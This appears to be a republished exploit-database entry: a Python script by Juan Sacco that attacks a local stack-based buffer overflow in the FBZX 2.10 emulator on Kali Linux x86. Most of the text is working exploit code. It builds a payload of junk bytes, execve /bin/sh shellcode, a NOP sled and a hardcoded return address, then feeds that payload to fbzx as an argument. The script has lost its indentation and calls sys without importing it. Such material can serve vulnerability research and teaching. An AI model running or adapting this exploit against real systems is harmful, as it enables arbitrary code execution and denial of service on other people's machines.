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FBZX 2.10 - Local Stack-Based Buffer Overflow
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来源：http://www.exploitpack.com 作者：Sacco 发布时间：2015-11-12
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# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: fbzx - ZX Spectrum Emulator for X
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*
# Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
try:
print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*8
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*5010
eip = "\x10\xd3\xff\xbf"
subprocess.call(["fbzx",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "FBZX not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit FBZX 2.10 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()
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